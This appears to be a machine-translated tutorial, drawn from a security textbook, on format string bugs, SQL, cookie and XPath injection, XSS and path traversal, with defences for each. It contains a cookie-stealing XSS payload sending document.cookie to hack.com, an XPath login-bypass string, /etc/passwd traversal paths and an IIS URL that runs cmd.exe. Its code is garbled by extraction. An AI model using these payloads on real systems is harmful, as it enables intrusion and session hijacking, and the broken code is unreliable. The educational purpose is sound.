Od:format String, SQL injection, XSS

format string format string vulnerability

Consider the following code:

1 #include <stdio.h>2int  main ()3{4      int a=44,b=77; 5     printf ("a=%d, b=%d\n", b); 6     printf ("a=%d, b=%d\n"); 7     return 0; 8 }

View Code

The 6th Line of printf () did not set the parameters correctly, and C did not force the check. The result of line 6th on the XP SP2 VM (VC6.0 release version) is a=4218928, b=44. Where the value of a is the address of the 5th row of the argument "a=%d, b=%d\n", the value of B is the value of a that is pressed in line 5th (right-to-left parameters are stacked, and printf executes its parameters without a stack).

The code above is only a small bug, but for the following example, it constitutes a serious vulnerability (such as input "%p,%p,%p, ...",%p meaning pointer):

1#include <stdio.h>2 3 intMainintargcChar**argv)4 {5     //printf (argv[1]);6     Charbuf[1024x768];7 printf (gets (BUF));8     return 0;9}

This vulnerability can be more dangerous if you mate with a control that can be written, such as:

1#include <stdio.h>2 intMainintargcChar**argv)3 {4     intlen=123;5printf"before write:len=%d\n", Len);6printf"failwest:%d%n\ n"Len& len); The %n control will write the total output length of the current printf back to the corresponding variable , where the "failwest:123" length is7printf"After write:len=%d\n", Len);8     return 0;9}

The output is:

Before write:len=123failwest:123after  write:len=

When the input and output functions of the format control can be affected by the outside world, the attacker can use the previously described read memory and write memory method to modify the function return address, hijack process, run shellcode.

There is not a lot of command parsing and text parsing in Windows, and the fact that this type of vulnerability is harsh makes the actual security of formatting a string vulnerability very rare, compared to a large number of *nix systems that use commands and scripts.

Stack Overflow vulnerability is often obscured by complex program logic, which makes it difficult to detect vulnerabilities. Relatively speaking, the cause of the format string vulnerability is very simple, as long as the configuration of the relevant functions to detect the line, through a simple static code scanning, it is generally easy to find such a vulnerability (VS2005 in the compilation level of the parameters are checked, and by default the use of the "%n" control) is turned off. The usual functions that can cause this vulnerability include:

printf () wprintf () fprintf () fwprintf () sprintf () swprintf () vprintf () vwprintf () vfprintf () vfwprintf () vsprintf () vswprintf ()

SQL Injection

The web system has more input interface than the software system, the scripting language provides a high degree of flexibility, but also with the shortcomings of the lack of strict language restrictions, which makes the security of the network becomes very serious.

SQL injection originates from the shortcomings of ASP, PHP and other scripting languages for user input data and parsing. Unlike buffer overflow attacks, which require a large amount of system-level knowledge, SQL injection has a relatively low technical threshold and can be exploited if you understand basic WEB technologies and database knowledge. Some automated attack tools, such as NBSI2, also make this kind of attack easier. At present, this kind of attack technology has developed into a relatively perfect system and become the mainstream technology of website attack.

The essence of SQL injection is to construct a clever injection command string that analyzes the relationships among the table items in the database from different feedback results of the server until the database is completely breached. When a powerful database (such as MS SQL Server) is encountered, a stored procedure can even be used to remotely control a server if the database permissions are not properly configured.

The means to prevent injection attacks are:

1 limit the user input data and filter out the third character.  2. The root of the injection is stitching strings, so you can use parametric queries instead of stitching strings for queries.

Deeper content for SQL injection can be found in the original book "0day Security: Software Vulnerability Analysis Technology (2nd Edition)" section 8.1-8.2.

Cookie Injection

In the case of ASP, programmers often use the following two ways to get user-submitted data:

id = request.querystring ("ID")  //  GETid = request.form (" ID ")         // POST

Many programmers often use the following common methods in order to support both GET and POST methods:

id = Request ("ID")

In fact, this method reads the data from the GET, then reads the data in the POST and reads the data in the Cookie if the data has not been found. If the injection prevention is only implemented in the GET and POST mode, then the attacker can pass the cookie bypass limit to inject the attack, the cookie injects the resulting!

Related Cookie injection method and simple skills original book can be checked!

Path Language for XML: XPath injection

XPath is the path language of XML, which reads various information from an XML document in the form of "reference data", and has good loose input and fault tolerance characteristics. This feature allows an attacker to attach a well-constructed XPath query statement to the URL, form, or other place to gain permission.

If the user authentication information is not a database table, it is an XML file as follows:

1 <?XML version= "1.0" encoding= "UTF-8"?>2 <Users>3     <Admin>4         <name>Admin</name>5         <Password>123</Password>6     </Admin>7 </Users>

The corresponding query language might be:

Users/admin[name/text () = ' admin ' and password/text () = ' 123 ']

If you enter ' or ' 1 ' = ' in the user name and password box, the 1,xpath statement becomes:

Users/admin[name/text () = ' or ' 1 ' = ' 1 ' and password/text () = ' or ' 1 ' = ' 1 ']

The predicate inside the parentheses results in True, so the query results will be selected by all admin users, and the validation will be bypassed!

XPath injection is very similar to SQL injection. Database injection can be prevented by parameterized queries, but XPath does not support parameterized queries, but XQuery can be used to simulate parameterized queries.

XSS attack

XSS is the abbreviation for cross Site Script (in order not to conflict with css-cascading Style Sheets), XSS accounts for a large percentage of vulnerabilities.

In many WEB applications, the server returns the user's input or requested data directly or simply to the client in the form of a page. In the search engine, error prompt page, forum space and other applications, if the service side of the user's input is not well filtered, attackers can use these trusted sites, the user's browser to execute some malicious script. The XSS vulnerability is the result of a WEB server returning the user's input data directly to the client. This kind of attack uses the server as the bridge to attack the ordinary user, "the station" in "the cross-site script" is refers to the Exploited Web server. With the advent of XSS worms, XSS attacks on servers are becoming more and more important.

The target of XSS attacks is generally the client browser, the scope of the affected is much larger than the attack server SQL injection, and so on, and the independent XSS vulnerability in conjunction with other attack techniques can often have very serious consequences.

 XSS Reflection attack Scenario 1. The user normally logs on to a website test.com, a Cookie is set: set-cookie:sessid=xxxx2. An attacker sends a URL with XSS to the user, Cheat User Click http://test.com/t.php?input=<Script>Var+i=new+image;+i.src= "http://hack.com/"%2bdocument.cookie;</Script>3. Users click on the link above to send a URL request to the server 4. The vulnerability of test.com simply returns XSS as a Web page literal to the User Client 5. After the user receives the returned page, it executes the attack script: Var i=new Image; I.src= "http://hack.com/" +document.cookie;6. The attacker obtains the user session ID in the test.com from hack.com, masquerading as the user login test.com, completing the session hi-jacking attack

Note: hack.com cannot read the test.com Cookie directly from the user's browser test.com can, the user trusts test.com and does not trust hack.com, the direct send hack.com is easy to fail. 

XSS Reflection often occurs in the direct feedback of user input such as search engine, error prompt page, etc. If the forum or Blog is not well filtered for user submissions, it will cause Stored XSS vulnerabilities:

XSS Stored case:XSS worm 2005, a MySpace user named Samy added some JavaScript to his profile, All browsers that open the page execute the script: first add the attacker as a friend and copy the XSS into the attacker's profile. The result is a large-scale XSS-based worm spread on MySpace, with more than 1 million friends Samy in an hour, and MySpace being forced to stop running in order to remove XSS from all infected user documents, Samy was convicted of financial compensation for MySpace plus three months of volunteer work. 。

It should be noted that in addition to the above two types of XSS vulnerabilities, local HTML, CHM, MHT, DLL, EXE and other files can also store XSS, resulting in XSS attacks.

Before returning text to the user's browser, encoding and replacing sensitive characters is a simple and effective way to defend against XSS attacks, and several alternatives can be considered as follows:
"→& #34
' →& #39
&→& #38
......

Path Traversal Vulnerability

In Windows system: /And.. \ can represent the previous level of the directory, *nix. /can also represent the previous level of the directory:

C:\Windows\. /windows\win.ini/var/www/html/. /.. /.. /etc/passwd
The meaning of%2e%2e%2f is: /

If the developer does not filter or control the path backtracking, the attacker can further penetrate through a well-constructed backtracking path to obtain sensitive files on the server.

Industry's most famous path traversal vulnerability is a vulnerability in cve-2001-0333 IIS5: An attacker using a Unicode-encoded URL can break through the IIS Directory access control mechanism, for example: (%cp%af is Unicode '/')

Http://xxxx.com/..%c0%af../winnt/system32/cmd.exe+/c+dir+c:\

will return dir c \ The result.

The same resource is expressed in a variety of ways, in the convenience of users, but also make access control system complex. If you need to design a firewall system to block a particular URL blacklist, consider the variety of URL patterns, otherwise simple encoding can bypass firewall rules.

Http://www.baidu.comhttp://220.181.6.175http://0xDCB506AF     //IP HEX form http://3702851247     //DEC representation form/HTTP 0334.0265.06.0257    //OCT representation Http://0x123456789DCB506AF    //IE and other browsers will discard the extra digits 2001:0db8:0 000:0000:0000:0000:1428:57ab2001:0db8:0000:0000:0000::1428:57ab2001:0db8:0:0:0:0:1428:57ab2001:0db8:0::0: : 1428:57ab2001:0db8::1428:57ab

and normalization (canonicalization) can solve this problem better. Getfullpathname () or pathcanonicalize () in Windows, Canonicalize_file_name () in Linux, File.getcanonicalpath () in Java, and J Ava.net.URI.normalize (), PHP Realpath () can do this.